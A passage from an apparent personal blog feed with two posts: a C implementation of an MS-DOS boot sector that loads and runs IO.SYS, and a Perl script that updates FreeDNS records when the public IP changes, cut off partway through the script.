      <td>2</td>
      <td>Creation date</td>
    </tr>
    <tr>
      <td>2</td>
      <td>Last access date</td>
    </tr>
    <tr>
      <td>2</td>
      <td>Reserved</td>
    </tr>
    <tr>
      <td>2</td>
      <td>Last modified time</td>
    </tr>
    <tr>
      <td>2</td>
      <td>Last modified date</td>
    </tr>
    <tr>
      <td>2</td>
      <td>Cluster offset</td>
    </tr>
    <tr>
      <td>4</td>
      <td>File size in bytes</td>
    </tr>
  </tbody>
</table>

<p>Dates are 16-bit, little-endian values stored in the following format: YYYYYYYMMMMDDDDD. Timestamps are 16-bit, little-endian values stored in the following format: HHHHHMMMMMMSSSSS.</p>

<p>Once IO.SYS is found, I store its first 3 sectors at 0x00700. I expect these 3 sectors to be unfragmented. This leaves 512 B in [0x00500, 0x00700) free for IO.SYS to store a copy of the boot sector later on.</p>

<p>Compiling the code into a raw binary with 16-bit opcodes became my next challenge. I was pleased to find that this is possible with GCC and binutils with a little bit of magic. First, I had to add the .code16gcc assembler directive to my C code. I also had to create a custom linker script to create a raw binary with a boot signature. The script instructs ld to construct a binary with a code segment, read-only data segment, and a boot signature. It also sets the instruction pointer to the correct memory offset.</p>

<p>The source code is released under the MIT license and is also available on GitHub at <a href="https://github.com/kjiwa/x86-boot-sector-c">github.com/kjiwa/x86-boot-sector-c</a>.</p>

<div class="caption">boot.c</div>

<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="cm">/*
 * Permission is hereby granted, free of charge, to any person obtaining a
 * copy of this software and associated documentation files (the
 * "Software"), to deal in the Software without restriction, including
 * without limitation the rights to use, copy, modify, merge, publish,
 * distribute, sublicense, and/or sell copies of the Software, and to
 * permit persons to whom the Software is furnished to do so, subject to
 * the following conditions:
 *
 * The above copyright notice and this permission notice shall be included
 * in all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
 * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
 * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
 * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
 * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
 * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
 * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 */</span>

<span class="c1">// MS-DOS boot sector: loads IO.SYS from the root directory and executes it.</span>

<span class="cp">#ifndef __GNUC__
#error "This code requires GCC with inline assembly support"
#endif
</span>
<span class="n">asm</span><span class="p">(</span><span class="s">".code16gcc"</span><span class="p">);</span>

<span class="c1">// Boot sector layout: 3-byte JMP, 59-byte BPB, then code.</span>
<span class="n">asm</span><span class="p">(</span><span class="s">"jmp _start"</span><span class="p">);</span>
<span class="n">asm</span><span class="p">(</span><span class="s">".space 0x003b"</span><span class="p">);</span>

<span class="k">typedef</span> <span class="kt">char</span> <span class="kt">int8_t</span><span class="p">;</span>
<span class="k">typedef</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="kt">uint8_t</span><span class="p">;</span>
<span class="k">typedef</span> <span class="kt">unsigned</span> <span class="kt">short</span> <span class="kt">uint16_t</span><span class="p">;</span>
<span class="k">typedef</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="kt">uint32_t</span><span class="p">;</span>

<span class="c1">// FAT12/16 boot sector structure matching the on-disk layout.</span>
<span class="k">typedef</span> <span class="k">struct</span> <span class="nf">__attribute__</span><span class="p">((</span><span class="n">packed</span><span class="p">))</span> <span class="p">{</span>
  <span class="kt">int8_t</span> <span class="n">_a</span><span class="p">[</span><span class="mi">3</span><span class="p">];</span>
  <span class="kt">int8_t</span> <span class="n">name</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span>
  <span class="kt">uint16_t</span> <span class="n">bytes_per_sector</span><span class="p">;</span>
  <span class="kt">uint8_t</span> <span class="n">sectors_per_cluster</span><span class="p">;</span>
  <span class="kt">uint16_t</span> <span class="n">reserved_sectors</span><span class="p">;</span>
  <span class="kt">uint8_t</span> <span class="n">fats</span><span class="p">;</span>
  <span class="kt">uint16_t</span> <span class="n">root_entries</span><span class="p">;</span>
  <span class="kt">uint16_t</span> <span class="n">total_sectors</span><span class="p">;</span>
  <span class="kt">uint8_t</span> <span class="n">media_descriptor</span><span class="p">;</span>
  <span class="kt">uint16_t</span> <span class="n">sectors_per_fat</span><span class="p">;</span>
  <span class="kt">uint16_t</span> <span class="n">sectors_per_track</span><span class="p">;</span>
  <span class="kt">uint16_t</span> <span class="n">heads</span><span class="p">;</span>
  <span class="kt">uint32_t</span> <span class="n">hidden_sectors</span><span class="p">;</span>
  <span class="kt">uint32_t</span> <span class="n">total_sectors2</span><span class="p">;</span>
  <span class="kt">uint8_t</span> <span class="n">drive_index</span><span class="p">;</span>
  <span class="kt">uint8_t</span> <span class="n">_b</span><span class="p">;</span>
  <span class="kt">uint8_t</span> <span class="n">signature</span><span class="p">;</span>
  <span class="kt">uint32_t</span> <span class="n">id</span><span class="p">;</span>
  <span class="kt">int8_t</span> <span class="n">label</span><span class="p">[</span><span class="mi">11</span><span class="p">];</span>
  <span class="kt">int8_t</span> <span class="n">type</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span>
  <span class="kt">uint8_t</span> <span class="n">_c</span><span class="p">[</span><span class="mi">448</span><span class="p">];</span>
  <span class="kt">uint16_t</span> <span class="n">sig</span><span class="p">;</span>
<span class="p">}</span> <span class="n">boot_t</span><span class="p">;</span>

<span class="c1">// Track current disk operation: LBA address and sectors per track (from BIOS).</span>
<span class="k">typedef</span> <span class="k">struct</span> <span class="p">{</span>
  <span class="kt">uint8_t</span> <span class="n">sectors</span><span class="p">;</span>
  <span class="kt">uint32_t</span> <span class="n">lba</span><span class="p">;</span>
<span class="p">}</span> <span class="n">disk_t</span><span class="p">;</span>

<span class="c1">// FAT directory entry: 8.3 filename format plus metadata.</span>
<span class="k">typedef</span> <span class="k">struct</span> <span class="nf">__attribute__</span><span class="p">((</span><span class="n">packed</span><span class="p">))</span> <span class="p">{</span>
  <span class="kt">int8_t</span> <span class="n">filename</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span>
  <span class="kt">int8_t</span> <span class="n">extension</span><span class="p">[</span><span class="mi">3</span><span class="p">];</span>
  <span class="kt">uint8_t</span> <span class="n">attributes</span><span class="p">;</span>
  <span class="kt">uint8_t</span> <span class="n">_a</span><span class="p">;</span>
  <span class="kt">uint8_t</span> <span class="n">create_time_us</span><span class="p">;</span>
  <span class="kt">uint16_t</span> <span class="n">create_time</span><span class="p">;</span>
  <span class="kt">uint16_t</span> <span class="n">create_date</span><span class="p">;</span>
  <span class="kt">uint16_t</span> <span class="n">last_access_date</span><span class="p">;</span>
  <span class="kt">uint8_t</span> <span class="n">_b</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span>
  <span class="kt">uint16_t</span> <span class="n">last_modified_time</span><span class="p">;</span>
  <span class="kt">uint16_t</span> <span class="n">last_modified_date</span><span class="p">;</span>
  <span class="kt">uint16_t</span> <span class="n">cluster</span><span class="p">;</span>
  <span class="kt">uint32_t</span> <span class="n">size</span><span class="p">;</span>
<span class="p">}</span> <span class="n">entry_t</span><span class="p">;</span>

<span class="cp">#define BOOT_SECTOR_ADDR 0x7c00
#define DISK_INFO_ADDR 0x7e00
#define ROOT_DIR_ADDR 0x0500
#define IO_SYS_LOAD_ADDR 0x0700
#define FIRST_HDD 0x80
#define IO_SYS_SECTORS 3
#define FILENAME_EXT_LEN 11
</span>
<span class="c1">// BIOS loads the boot sector here during POST.</span>
<span class="n">boot_t</span> <span class="k">const</span> <span class="o">*</span><span class="n">boot_sector</span> <span class="o">=</span> <span class="p">(</span><span class="n">boot_t</span> <span class="o">*</span><span class="p">)</span><span class="n">BOOT_SECTOR_ADDR</span><span class="p">;</span>

<span class="c1">// Store disk geometry info right after boot sector in free memory.</span>
<span class="n">disk_t</span> <span class="o">*</span><span class="n">disk_info</span> <span class="o">=</span> <span class="p">(</span><span class="n">disk_t</span> <span class="o">*</span><span class="p">)</span><span class="n">DISK_INFO_ADDR</span><span class="p">;</span>

<span class="c1">// IO.SYS in 8.3 format: "IO      " + "SYS"</span>
<span class="kt">int8_t</span> <span class="k">const</span> <span class="o">*</span><span class="n">io_sys_name</span> <span class="o">=</span> <span class="s">"IO      SYS"</span><span class="p">;</span>

<span class="c1">// Multi-purpose buffer: first for root directory, then for IO.SYS itself.</span>
<span class="kt">uint8_t</span> <span class="o">*</span><span class="n">buffer</span><span class="p">;</span>

<span class="c1">// Number of sectors to read in the next disk operation.</span>
<span class="kt">uint8_t</span> <span class="n">sector_count</span><span class="p">;</span>

<span class="c1">// Current directory entry being examined during search.</span>
<span class="n">entry_t</span> <span class="k">const</span> <span class="o">*</span><span class="n">current_entry</span><span class="p">;</span>

<span class="c1">// Compare directory entry name against "IO      SYS" (8.3 filename format).</span>
<span class="c1">// Standard string comparison: checks until mismatch, null terminator, or end of</span>
<span class="c1">// string.</span>
<span class="kt">int8_t</span> <span class="nf">is_io_sys</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">uint16_t</span> <span class="n">i</span><span class="p">;</span>
  <span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">FILENAME_EXT_LEN</span> <span class="o">-</span> <span class="mi">1</span> <span class="o">&amp;&amp;</span> <span class="p">((</span><span class="kt">int8_t</span> <span class="o">*</span><span class="p">)</span><span class="n">current_entry</span><span class="p">)[</span><span class="n">i</span><span class="p">]</span> <span class="o">&amp;&amp;</span>
              <span class="p">((</span><span class="kt">int8_t</span> <span class="o">*</span><span class="p">)</span><span class="n">current_entry</span><span class="p">)[</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="n">io_sys_name</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
       <span class="o">++</span><span class="n">i</span><span class="p">)</span>
    <span class="p">;</span>
  <span class="k">return</span> <span class="p">((</span><span class="kt">int8_t</span> <span class="o">*</span><span class="p">)</span><span class="n">current_entry</span><span class="p">)[</span><span class="n">i</span><span class="p">]</span> <span class="o">-</span> <span class="n">io_sys_name</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
<span class="p">}</span>

<span class="c1">// Read sectors from disk using BIOS INT 13h, AH=02h.</span>
<span class="c1">// Converts LBA to CHS since older BIOS doesn't support LBA addressing.</span>
<span class="kt">void</span> <span class="nf">read_sectors</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">uint32_t</span> <span class="n">sectors_per_cylinder</span> <span class="o">=</span> <span class="n">boot_sector</span><span class="o">-&gt;</span><span class="n">heads</span> <span class="o">*</span> <span class="n">disk_info</span><span class="o">-&gt;</span><span class="n">sectors</span><span class="p">;</span>
  <span class="kt">uint16_t</span> <span class="n">cylinder</span> <span class="o">=</span> <span class="n">disk_info</span><span class="o">-&gt;</span><span class="n">lba</span> <span class="o">/</span> <span class="n">sectors_per_cylinder</span><span class="p">;</span>
  <span class="kt">uint16_t</span> <span class="n">head</span> <span class="o">=</span> <span class="p">(</span><span class="n">disk_info</span><span class="o">-&gt;</span><span class="n">lba</span> <span class="o">%</span> <span class="n">sectors_per_cylinder</span><span class="p">)</span> <span class="o">/</span> <span class="n">disk_info</span><span class="o">-&gt;</span><span class="n">sectors</span><span class="p">;</span>

  <span class="c1">// Pack cylinder (10 bits) and sector (6 bits) into CX register format.</span>
  <span class="n">cylinder</span> <span class="o">&lt;&lt;=</span> <span class="mi">8</span><span class="p">;</span>
  <span class="n">cylinder</span> <span class="o">|=</span>
      <span class="p">((</span><span class="n">disk_info</span><span class="o">-&gt;</span><span class="n">lba</span> <span class="o">%</span> <span class="n">sectors_per_cylinder</span><span class="p">)</span> <span class="o">%</span> <span class="n">disk_info</span><span class="o">-&gt;</span><span class="n">sectors</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>

  <span class="c1">// INT 13h, AH=02h: Read sectors into memory</span>
  <span class="c1">// AL=sector_count, ES:BX=buffer, CX=cylinder/sector, DH=head, DL=drive</span>
  <span class="n">asm</span><span class="p">(</span><span class="s">"int $0x13"</span>
      <span class="o">:</span>
      <span class="o">:</span> <span class="s">"a"</span><span class="p">(</span><span class="mh">0x0200</span> <span class="o">|</span> <span class="n">sector_count</span><span class="p">),</span> <span class="s">"b"</span><span class="p">(</span><span class="n">buffer</span><span class="p">),</span> <span class="s">"c"</span><span class="p">(</span><span class="n">cylinder</span><span class="p">),</span>
        <span class="s">"d"</span><span class="p">((</span><span class="n">head</span> <span class="o">&lt;&lt;</span> <span class="mi">8</span><span class="p">)</span> <span class="o">|</span> <span class="n">FIRST_HDD</span><span class="p">));</span>
<span class="p">}</span>

<span class="kt">uint16_t</span> <span class="nf">_start</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
  <span class="c1">// Get disk geometry using INT 13h, AH=08h.</span>
  <span class="c1">// CL bits 0-5 contain sectors per track.</span>
  <span class="n">asm</span><span class="p">(</span><span class="s">"int $0x13"</span>
      <span class="o">:</span> <span class="s">"=c"</span><span class="p">(</span><span class="n">disk_info</span><span class="o">-&gt;</span><span class="n">sectors</span><span class="p">)</span>
      <span class="o">:</span> <span class="s">"a"</span><span class="p">(</span><span class="mh">0x0800</span><span class="p">),</span> <span class="s">"d"</span><span class="p">(</span><span class="n">FIRST_HDD</span><span class="p">)</span>
      <span class="o">:</span> <span class="s">"bx"</span><span class="p">);</span>
  <span class="n">disk_info</span><span class="o">-&gt;</span><span class="n">sectors</span> <span class="o">&amp;=</span> <span class="mi">0</span><span class="n">b00111111</span><span class="p">;</span>

  <span class="c1">// Calculate root directory location: after reserved sectors and both FATs.</span>
  <span class="n">buffer</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="p">)</span><span class="n">ROOT_DIR_ADDR</span><span class="p">;</span>
  <span class="n">disk_info</span><span class="o">-&gt;</span><span class="n">lba</span> <span class="o">=</span> <span class="n">boot_sector</span><span class="o">-&gt;</span><span class="n">reserved_sectors</span> <span class="o">+</span>
                   <span class="p">(</span><span class="n">boot_sector</span><span class="o">-&gt;</span><span class="n">fats</span> <span class="o">*</span> <span class="n">boot_sector</span><span class="o">-&gt;</span><span class="n">sectors_per_fat</span><span class="p">);</span>
  <span class="n">sector_count</span> <span class="o">=</span> <span class="n">boot_sector</span><span class="o">-&gt;</span><span class="n">root_entries</span> <span class="o">*</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">entry_t</span><span class="p">)</span> <span class="o">/</span>
                 <span class="n">boot_sector</span><span class="o">-&gt;</span><span class="n">bytes_per_sector</span><span class="p">;</span>
  <span class="n">read_sectors</span><span class="p">();</span>

  <span class="c1">// Scan root directory entries for IO.SYS.</span>
  <span class="k">for</span> <span class="p">(</span><span class="n">current_entry</span> <span class="o">=</span> <span class="p">(</span><span class="n">entry_t</span> <span class="o">*</span><span class="p">)</span><span class="n">buffer</span><span class="p">;;</span> <span class="o">++</span><span class="n">current_entry</span><span class="p">)</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">is_io_sys</span><span class="p">()</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
      <span class="c1">// Found IO.SYS. Calculate its location in the data area.</span>
      <span class="c1">// FAT cluster numbering starts at 2, so offset = (cluster - 2) *</span>
      <span class="c1">// sectors_per_cluster.</span>
      <span class="n">buffer</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="p">)</span><span class="n">IO_SYS_LOAD_ADDR</span><span class="p">;</span>
      <span class="n">disk_info</span><span class="o">-&gt;</span><span class="n">lba</span> <span class="o">+=</span> <span class="n">sector_count</span> <span class="o">+</span> <span class="p">(</span><span class="n">current_entry</span><span class="o">-&gt;</span><span class="n">cluster</span> <span class="o">-</span> <span class="mi">2</span><span class="p">)</span> <span class="o">*</span>
                                           <span class="n">boot_sector</span><span class="o">-&gt;</span><span class="n">sectors_per_cluster</span><span class="p">;</span>
      <span class="n">sector_count</span> <span class="o">=</span> <span class="n">IO_SYS_SECTORS</span><span class="p">;</span>
      <span class="n">read_sectors</span><span class="p">();</span>

      <span class="c1">// Transfer control to IO.SYS at 0000:0700</span>
      <span class="n">asm</span><span class="p">(</span><span class="s">"jmpw %0, %1"</span> <span class="o">:</span> <span class="o">:</span> <span class="s">"g"</span><span class="p">(</span><span class="mh">0x0000</span><span class="p">),</span> <span class="s">"g"</span><span class="p">(</span><span class="n">IO_SYS_LOAD_ADDR</span><span class="p">));</span>
    <span class="p">}</span>

  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span></code></pre></figure>]]></content><author><name>Kamil Jiwa</name></author><summary type="html"><![CDATA[I’ve been interested in writing an OS for a long time now. An OS consists of many components with one of the most fundamental being its booting mechanism. Had I been writing a production OS, I would have made use of a package such as GNU GRUB or LILO. However, as a hobbyist I was interested to know exactly what my PC was doing during the boot process. I decided that a good way to start would be to study a simple operating system – MS-DOS. An MS-DOS boot sector has a very simple job: load the first 3 sectors of IO.SYS into memory and execute it.]]></summary></entry><entry><title type="html">FreeDNS Updater</title><link href="https://crimsonglow.ca/~kjiwa/2009/07/freedns-updater.html" rel="alternate" type="text/html" title="FreeDNS Updater" /><published>2009-07-01T00:00:00-07:00</published><updated>2009-07-01T00:00:00-07:00</updated><id>https://crimsonglow.ca/~kjiwa/2009/07/freedns-updater</id><content type="html" xml:base="https://crimsonglow.ca/~kjiwa/2009/07/freedns-updater.html"><![CDATA[<p>As its name suggests, FreeDNS is a free Internet DNS service. If you manage your domains with them, you can use this script to update your DNS records whenever your IP changes. It acts by querying the A record for your domain and for your public IP. If there is a mismatch between them, an update is invoked. The script is written in Perl and accepts the following options:</p>

<p>Required:</p>

<ul>
  <li>–domain &lt;domain&gt;</li>
  <li>–key &lt;key&gt;</li>
</ul>

<p>Optional:</p>

<ul>
  <li>–ip &lt;ip&gt;</li>
  <li>–nameserver &lt;nameserver&gt;</li>
  <li>–force</li>
</ul>

<p>The script will query FreeDNS to find out your public IP if you do not specify an IP with –ip.</p>

<p>You can specify which DNS server you want the script to query when it is checking your domain records. This is useful if you have an internal DNS server that maps your domain to a private IP.</p>

<p>By default, the script will not invoke an update if the domain’s A record is the same as your IP. You can force an update with the –force option.</p>

<p>The source code is released under the MIT license and is also available on GitHub at <a href="https://github.com/kjiwa/freedns-update">github.com/kjiwa/freedns-update</a>.</p>

<div class="caption">freedns-update.pl</div>

<figure class="highlight"><pre><code class="language-perl" data-lang="perl"><span class="c1"># Permission is hereby granted, free of charge, to any person obtaining a</span>
<span class="c1"># copy of this software and associated documentation files (the</span>
<span class="c1"># "Software"), to deal in the Software without restriction, including</span>
<span class="c1"># without limitation the rights to use, copy, modify, merge, publish,</span>
<span class="c1"># distribute, sublicense, and/or sell copies of the Software, and to</span>
<span class="c1"># permit persons to whom the Software is furnished to do so, subject to</span>
<span class="c1"># the following conditions:</span>
<span class="c1">#</span>
<span class="c1"># The above copyright notice and this permission notice shall be included</span>
<span class="c1"># in all copies or substantial portions of the Software.</span>
<span class="c1">#</span>
<span class="c1"># THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS</span>
<span class="c1"># OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF</span>
<span class="c1"># MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.</span>
<span class="c1"># IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY</span>
<span class="c1"># CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,</span>
<span class="c1"># TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE</span>
<span class="c1"># SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.</span>

<span class="c1">#!/usr/bin/perl</span>

<span class="k">use</span> <span class="nv">strict</span><span class="p">;</span>
<span class="k">use</span> <span class="nv">warnings</span><span class="p">;</span>

<span class="k">use</span> <span class="nn">Getopt::</span><span class="nv">Long</span><span class="p">;</span>
<span class="k">use</span> <span class="nn">LWP::</span><span class="nv">Simple</span><span class="p">;</span>
<span class="k">use</span> <span class="nn">Net::</span><span class="nv">DNS</span><span class="p">;</span>
<span class="k">use</span> <span class="nv">Socket</span><span class="p">;</span>

<span class="k">sub </span><span class="nf">get_my_ip_address</span>
<span class="p">{</span>
  <span class="k">my</span> <span class="nv">$url</span> <span class="o">=</span> <span class="sx">qq(http://freedns.afraid.org/dynamic/check.php)</span><span class="p">;</span>
  <span class="k">my</span> <span class="nv">$content</span> <span class="o">=</span> <span class="nv">get</span><span class="p">(</span><span class="nv">$url</span><span class="p">);</span>
  <span class="nb">die</span><span class="p">(</span><span class="vg">$!</span><span class="p">)</span> <span class="k">unless</span> <span class="nb">defined</span><span class="p">(</span><span class="nv">$content</span><span class="p">);</span>

  <span class="nv">$content</span> <span class="o">=~</span> <span class="sr">m/Detected IP : (\S+)\n/</span> <span class="ow">or</span> <span class="nb">die</span><span class="p">("</span><span class="s2">Unable to extract IP address</span><span class="p">");</span>
  <span class="k">my</span> <span class="nv">$ip</span> <span class="o">=</span> <span class="err">$</span><span class="mi">1</span><span class="p">;</span>
  <span class="k">return</span> <span class="nv">$ip</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">sub </span><span class="nf">get_ip_address_by_hostname</span>
<span class="p">{</span>
  <span class="k">my</span> <span class="p">(</span><span class="nv">$domain</span><span class="p">)</span> <span class="o">=</span> <span class="nv">@_</span><span class="p">;</span>

  <span class="k">my</span> <span class="nv">$host</span> <span class="o">=</span> <span class="nb">gethostbyname</span><span class="p">(</span><span class="nv">$domain</span><span class="p">);</span>
  <span class="nb">die</span><span class="p">(</span><span class="nb">sprintf</span><span class="p">(</span><span class="sx">qq(Unable to determine IP address for %s)</span><span class="p">,</span> <span class="nv">$domain</span><span class="p">))</span> <span class="k">unless</span> <span class="nb">defined</span><span class="p">(</span><span class="nv">$host</span><span class="p">);</span>

  <span class="k">my</span> <span class="nv">$ip</span> <span class="o">=</span> <span class="nv">inet_ntoa</span><span class="p">(</span><span class="nv">$host</span><span class="p">);</span>
  <span class="k">return</span> <span class="nv">$ip</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">sub </span><span class="nf">get_ip_address_by_hostname_from_ns</span>
<span class="p">{</span>
  <span class="k">my</span> <span class="p">(</span><span class="nv">$domain</span><span class="p">,</span> <span class="nv">$ns</span><span class="p">)</span> <span class="o">=</span> <span class="nv">@_</span><span class="p">;</span>

  <span class="k">my</span> <span class="nv">$res</span> <span class="o">=</span> <span class="k">new</span> <span class="nn">Net::DNS::</span><span class="nv">Resolver</span><span class="p">;</span>
  <span class="nv">$res</span><span class="o">-&gt;</span><span class="nv">nameservers</span><span class="p">(</span><span class="nv">$ns</span><span class="p">);</span>

  <span class="k">my</span> <span class="nv">@answers</span> <span class="o">=</span> <span class="nv">$res</span><span class="o">-&gt;</span><span class="nb">send</span><span class="p">(</span><span class="nv">$domain</span><span class="p">)</span><span class="o">-&gt;</span><span class="nv">answer</span><span class="p">;</span>
  <span class="k">foreach</span> <span class="k">my</span> <span class="nv">$answer</span> <span class="p">(</span><span class="nv">@answers</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">my</span> <span class="nv">$ip</span> <span class="o">=</span> <span class="nv">$answer</span><span class="o">-&gt;</span><span class="p">{</span><span class="nv">address</span><span class="p">};</span>
    <span class="k">return</span> <span class="nv">$ip</span> <span class="k">if</span> <span class="nv">$ip</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="nb">die</span><span class="p">(</span><span class="nb">sprintf</span><span class="p">(</span><span class="sx">qq(Unable to determine IP address for %s)</span><span class="p">,</span> <span class="nv">$domain</span><span class="p">));</span>
<span class="p">}</span>

<span class="k">sub </span><span class="nf">update_host_ip_address</span>
<span class="p">{</span>
  <span class="k">my</span> <span class="p">(</span><span class="nv">$domain</span><span class="p">,</span> <span class="nv">$key</span><span class="p">,</span> <span class="nv">$ip</span><span class="p">)</span> <span class="o">=</span> <span class="nv">@_</span><span class="p">;</span>

  <span class="k">my</span> <span class="nv">$url</span> <span class="o">=</span> <span class="nb">sprintf</span><span class="p">(</span><span class="sx">qq(http://freedns.afraid.org/dynamic/update.php?%s&amp;address=%s)</span><span class="p">,</span> <span class="nv">$key</span><span class="p">,</span> <span class="nv">$ip</span><span class="p">);</span>
  <span class="k">my</span> <span class="nv">$content</span> <span class="o">=</span> <span class="nv">get</span><span class="p">(</span><span class="nv">$url</span><span class="p">);</span>

  <span class="k">unless</span> <span class="p">(</span><span class="nv">$content</span> <span class="o">=~</span> <span class="sr">m/(ERROR: Address \S+ has not changed|Updated \d+ host\(s\) .+ to \S+ in .+ seconds|Updated \S+ to \S+ in .+ seconds)/</span><span class="p">)</span> <span class="p">{</span>
    <span class="nb">die</span><span class="p">(</span><span class="nb">sprintf</span><span class="p">(</span><span class="sx">qq(Error updating domain %s to IP %s: %s)</span><span class="p">,</span> <span class="nv">$domain</span><span class="p">,</span> <span class="nv">$ip</span><span class="p">,</span> <span class="nv">$content</span><span class="p">));</span>
  <span class="p">}</span>
<span class="p">}</span>

<span class="k">sub </span><span class="nf">get_args</span>
<span class="p">{</span>
  <span class="k">my</span> <span class="nv">%opts</span><span class="p">;</span>
  <span class="k">my</span> <span class="nv">@args</span> <span class="o">=</span> <span class="p">(</span>
    <span class="p">'</span><span class="s1">domain|d=s</span><span class="p">',</span>
    <span class="p">'</span><span class="s1">key|k=s</span><span class="p">',</span>
    <span class="p">'</span><span class="s1">ip=s</span><span class="p">',</span>
    <span class="p">'</span><span class="s1">nameserver|ns=s</span><span class="p">',</span>
    <span class="p">'</span><span class="s1">force|f</span><span class="p">',</span>
    <span class="p">'</span><span class="s1">simulate|s</span><span class="p">',</span>
    <span class="p">'</span><span class="s1">print|p</span><span class="p">',</span>
    <span class="p">'</span><span class="s1">help|h</span><span class="p">'</span>
  <span class="p">);</span>

  <span class="nv">GetOptions</span><span class="p">(</span><span class="o">\</span><span class="nv">%opts</span><span class="p">,</span> <span class="nv">@args</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">exists</span> <span class="nv">$opts</span><span class="p">{</span><span class="nv">domain</span><span class="p">}</span> <span class="o">||</span> <span class="o">!</span><span class="nb">exists</span> <span class="nv">$opts</span><span class="p">{</span><span class="nv">key</span><span class="p">})</span> <span class="p">{</span>
    <span class="nv">$opts</span><span class="p">{</span><span class="nv">help</span><span class="p">}</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="k">return</span> <span class="nv">%opts</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">sub </span><span class="nf">usage</span>
<span class="p">{</span>
  <span class="k">my</span> <span class="nv">@P</span> <span class="o">=</span> <span class="nb">split</span><span class="p">(</span><span class="sr">/\//</span><span class="p">,</span> <span class="err">$</span><span class="mi">0</span><span class="p">);</span>
  <span class="k">my</span> <span class="nv">$p</span> <span class="o">=</span> <span class="nb">pop</span><span class="p">(</span><span class="nv">@P</span><span class="p">);</span>

  <span class="k">my</span> <span class="nv">$s</span> <span class="o">=</span> <span class="s">&lt;&lt;EOS;
USAGE: %s

Required:
--domain &lt;domain&gt;
--key &lt;key&gt;

Optional:
--ip &lt;ip&gt;
--nameserver &lt;nameserver&gt;
--force
--simulate
--print
--help
EOS
</span>
  <span class="k">return</span> <span class="nb">sprintf</span><span class="p">(</span><span class="nv">$s</span><span class="p">,</span> <span class="nv">$p</span><span class="p">);</span>
<span class="p">}</span>

<span class="k">sub </span><span class="nf">fault_handler</span>
<span class="p">{</span>
  <span class="k">my</span> <span class="p">(</span><span class="nv">$e</span><span class="p">)</span> <span class="o">=</span> <span class="nv">@_</span><span class="p">;</span>
  <span class="k">print</span><span class="p">(</span><span class="nb">sprintf</span><span class="p">(</span><span class="sx">qq(%s\n)</span><span class="p">,</span> <span class="nv">$e</span><span class="p">));</span>
  <span class="k">print</span><span class="p">(</span><span class="nb">sprintf</span><span class="p">(</span><span class="sx">qq(%s\n)</span><span class="p">,</span> <span class="nv">usage</span><span class="p">));</span>
  <span class="nb">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>

<span class="k">sub </span><span class="nf">main</span>
<span class="p">{</span>
  <span class="k">my</span> <span class="nv">%args</span> <span class="o">=</span> <span class="nv">get_args</span><span class="p">;</span>

  <span class="k">my</span> <span class="nv">$domain</span> <span class="o">=</span> <span class="nv">$args</span><span class="p">{</span><span class="nv">domain</span><span class="p">};</span>
  <span class="k">my</span> <span class="nv">$key</span> <span class="o">=</span> <span class="nv">$args</span><span class="p">{</span><span class="nv">key</span><span class="p">};</span>
  <span class="k">my</span> <span class="nv">$my_ip</span> <span class="o">=</span> <span class="nv">$args</span><span class="p">{</span><span class="nv">ip</span><span class="p">};</span>
  <span class="k">my</span> <span class="nv">$ns</span> <span class="o">=</span> <span class="nv">$args</span><span class="p">{</span><span class="nv">nameserver</span><span class="p">};</span>
  <span class="k">my</span> <span class="nv">$force</span> <span class="o">=</span> <span class="nv">$args</span><span class="p">{</span><span class="nv">force</span><span class="p">};</span>
